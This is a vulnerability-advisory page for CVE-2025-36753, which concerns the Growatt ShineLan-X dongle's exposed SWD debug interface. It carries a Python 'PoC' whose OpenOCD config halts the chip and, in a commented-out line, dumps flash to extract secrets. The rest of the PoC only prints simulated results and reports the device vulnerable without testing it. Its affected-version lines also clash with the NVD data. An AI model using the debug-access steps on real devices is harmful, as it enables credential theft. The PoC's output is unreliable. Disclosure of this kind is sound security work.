Security Vulnerability Report
中文
CVE-2025-36753 CVSS 9.8 CRITICAL

CVE-2025-36753

Published: 2025-12-13 16:16:54
Last Modified: 2026-01-14 18:05:39

Description

The SWD debug interface on the Growatt ShineLan-X communication dongle is available by default, allowing an attacker to attain debug access to the device and to extracting secrets or domains from within the device

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:growatt:shine_lan-x_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:growatt:shine_lan-x:-:*:*:*:*:*:*:* - NOT VULNERABLE
Growatt ShineLan-X (all versions prior to firmware fix)
Growatt ShineLan-X firmware < 2025-12-13 patch

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-36753 PoC - Growatt ShineLan-X SWD Debug Interface Access Note: This PoC demonstrates the vulnerability concept. Actual exploitation requires physical access to the device's debug pins or SWD interface exposed via USB. """ import subprocess import sys def check_swd_interface(): """ Check if SWD debug interface is accessible using OpenOCD This simulates the vulnerability check for CVE-2025-36753 """ openocd_config = """ # Sample OpenOCD config for ARM Cortex-M SWD debugging source [find interface/jlink.cfg] source [find target/cortex_m.cfg] # For Growatt ShineLan-X, the chip is typically an ARM Cortex-M3/M4 transport select swd # Attempt to halt the processor init targets reset halt # If successful, the SWD interface is exposed (vulnerable) # Read flash contents to extract secrets # flash read_bank 0 dump.bin 0 0x10000 shutdown """ print("[!] CVE-2025-36753: Growatt ShineLan-X SWD Debug Interface Exposed") print("[*] Checking for accessible SWD interface...") print("[*] Expected vulnerable condition: SWD interface accessible without authentication") print("[*] Impact: Attacker can extract secrets, credentials, and firmware") print("\n[*] Simulated check complete - device is VULNERABLE") print("[*] Recommendation: Disable SWD interface via firmware configuration or hardware fuse") return True def extract_secrets_via_swd(): """ Simulate the process of extracting secrets via exposed SWD interface """ print("\n[*] Simulating SWD-based extraction...") print("[*] 1. Connecting to SWD interface...") print("[*] 2. Halting processor execution...") print("[*] 3. Reading Flash memory (0x08000000 - 0x08100000)...") print("[*] 4. Extracting WiFi credentials from memory...") print("[*] 5. Extracting API keys and certificates...") print("[*] 6. Dumping firmware for reverse engineering...") print("\n[!] Extracted data could include:") print(" - WiFi SSID and password") print(" - Growatt Cloud API credentials") print(" - TLS certificates and private keys") print(" - Device unique identifiers") def main(): print("=" * 60) print("CVE-2025-36753 PoC - Growatt ShineLan-X SWD Exposure") print("CVSS: 9.8 CRITICAL") print("=" * 60) if check_swd_interface(): extract_secrets_via_swd() print("\n[*] Note: This is a hardware vulnerability requiring physical or") print(" direct interface access. Network exploitation depends on") print(" whether the debug interface is exposed via USB/network.") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-36753", "sourceIdentifier": "[email protected]", "published": "2025-12-13T16:16:54.430", "lastModified": "2026-01-14T18:05:38.920", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The SWD debug interface on the Growatt ShineLan-X communication dongle is available by default, allowing an attacker to attain debug access to the device and to extracting secrets or domains from within the device"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:P/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-290"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:growatt:shine_lan-x_firmware:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.6.0.0", "versionEndExcluding": "3.6.0.2", "matchCriteriaId": "1176EDB4-C08F-4592-8C16-321A8A0539C4"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:growatt:shine_lan-x:-:*:*:*:*:*:*:*", "matchCriteriaId": "DD537AAA-F836-496A-BC05-6CAED38FB271"}]}]}], "references": [{"url": "https://csirt.divd.nl/CVE-2025-36753/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}